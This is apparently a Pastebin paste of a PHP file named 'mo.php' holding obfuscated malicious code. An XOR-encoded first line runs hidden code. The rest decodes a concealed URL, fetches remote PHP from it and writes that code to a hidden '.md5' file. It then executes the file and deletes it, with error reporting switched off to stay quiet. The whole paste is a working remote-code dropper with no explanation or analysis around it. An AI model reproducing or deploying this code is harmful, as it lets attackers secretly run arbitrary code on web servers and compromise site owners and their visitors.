PalmaSolutions

mo.php

Apr 8th, 2018
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.13 KB | None | 0 0
  1. $UWXmSsOgxHz='67Q 3+=.G=,C:5N'^'UE4AGNbH2SO7SZ ';$LRtZdNWcWgpx=$UWXmSsOgxHz('','IMpV>DZOZIRN=SDD;5Nyu0Q:jV57MgqV3ASKBJUBmJ,XSE8YCAXZH=ZSJAf4U2Flu-;2+JqU>WYMLirqiUEx5a9Y3mEjeiIB953:6Ju-AqRzAaU-w=H7<W dN<0 ,sxml0xidfpCjR6>eyjlOa597,0JD;ueOsRPL8a,emq+J=XK>OU8=NdlKTo5:D599BCkp=AOpn6MSKSiDW38 VZViF66>.XpL1QEP9F.=igaVA465CKmT6E1O0YgNe2cdrfpttXGAR,T3lortp:P9,1yyVaxFO9:.d,-CyRAgYTNib2U5. YRKaBB39C7XE:I9X.ecCgRVBVFCFGq 6R560PgkF.rtq,005JU:RRKT<xNxYO.JQC4HgL7H5MJA19+GSHcOEa,77J=>4C=YO-USZIV+Z;3tFk6e4g8GR;<1CHL2<EA0 09TU>Wi.XH12OMMhb:I>l+85KCB4Z,QOW5ko0;NVMAUhD9B8f-E ScCi>0kn XFYhMmK3BNTIi8QO=3N+>MKyWKXAnVNIW1--bhoaiF;ZVil.2I-5E 1Yu>sXjDyOArXfukPK6TGXGWZy;FSsh Pq<tRHtUvUlHzIub-:G.Yr TTaIKW>MGBK:AM6VTSjulcSA<,KlyBkuLhBa21<8GgI34318HDUA;T13dcPxC2V6<5KGFcCN'^' +XwX14,. = b6<-HA=QRH>H52TC,8.;F5tbkj.Hd,Y601Q6-a 5:b>2> 9k8G2DQIZFJfQqU2 dlIRQI.Oq<EV,GMxJBNrH0<UUDbQDaLrJzAqDKN<EP2NLjXQTMZCMHYSBMlyJN=CJEWWLgEQXCMkn-fU;oW955cEEEHQX>O4.PgqSX7M1boe<36PML0-CTR4;YU<D.A.cNsWYT7zkI WZMKczhU011f-KDIZA0 XEPxAg2Y7T.S1GfAm +=-91T94avG1JLRLTTL1UYTPY-kqb+XNO;GH:YoaC217Rh;qQOT8rvAf4RU6RcOGC31HEKbC6767oc=MxFY PWS8GCbq 1 yucaj4Irv 1EXsFykX+=6QaG7=A<i. EXt,61CreEGRNq77=gY8;Lunzm J6NVOLbKoIm2c6ZHPculrI+2URYX8<D2AV7:nV.9,7=W<JDIYF.uvk>I2 3PCKTZ:7dmuL X6Y9F YzJxcWVCJD928HkKkR0<506S46bV6BM98Qp =8Iznm3PYLKHIGInV>cAHJS=LnbKT RcZxWyYhqFlQDZ4-SgslpamLX aCPFiFYC1xE1E3KaZoSBLH5O -K1->,3>M94jlJ 4Z957MYLG7 HMbEYbKUlH9k;TJY+OmWUGPco448W;PWC>yCI;3NUAcwoXI3');$LRtZdNWcWgpx();
  2. @ini_set('display_errors', '0');
  3. error_reporting(0);
  4. if (!$npDcheckClassBgp) {
  5. $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'md5'; $pass = "Zgc5c4MXrLskZVkZ9Y1BPvOXNBbYNrscnSWJXqjTu18HYVk=";
  6. if (ini_get('allow_url_fopen')) {
  7. function get_data_ya($url) {
  8. $data = file_get_contents($url);
  9. return $data;
  10. }
  11. }
  12. else {
  13. function get_data_ya($url) {
  14. $ch = curl_init();
  15. curl_setopt($ch, CURLOPT_HEADER, 0);
  16. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  17. curl_setopt($ch, CURLOPT_URL, $url);
  18. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
  19. $data = curl_exec($ch);
  20. curl_close($ch);
  21. return $data;
  22. }
  23. }
  24. function wp_cd($fd, $fa="")
  25. {
  26. $fe = "wp_frmfunct";
  27. $len = strlen($fd);
  28. $ff = '';
  29. $n = $len>100 ? 8 : 2;
  30. while( strlen($ff)<$len )
  31. {
  32. $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
  33. }
  34. return $fd^$ff;
  35. }
  36. $reqw = $ay($ao($oa("$pass"), 'wp_function'));
  37. preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
  38. $dirs = glob("*", GLOB_ONLYDIR);
  39. foreach ($dirs as $dira) {
  40. if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
  41. $subdirs = glob("$dira/*", GLOB_ONLYDIR);
  42. foreach ($subdirs as $subdira) {
  43. if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
  44. }
  45. }
  46. if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
  47. fwrite($hdl, "<?php\n$mtchs[1]\n?>");
  48. fclose($hdl);
  49. include("{$eb}.$algo");
  50. unlink("{$eb}.$algo");
  51. $npDcheckClassBgp = 'aue';
  52. }
Advertisement
Add Comment
Please, Sign In to add comment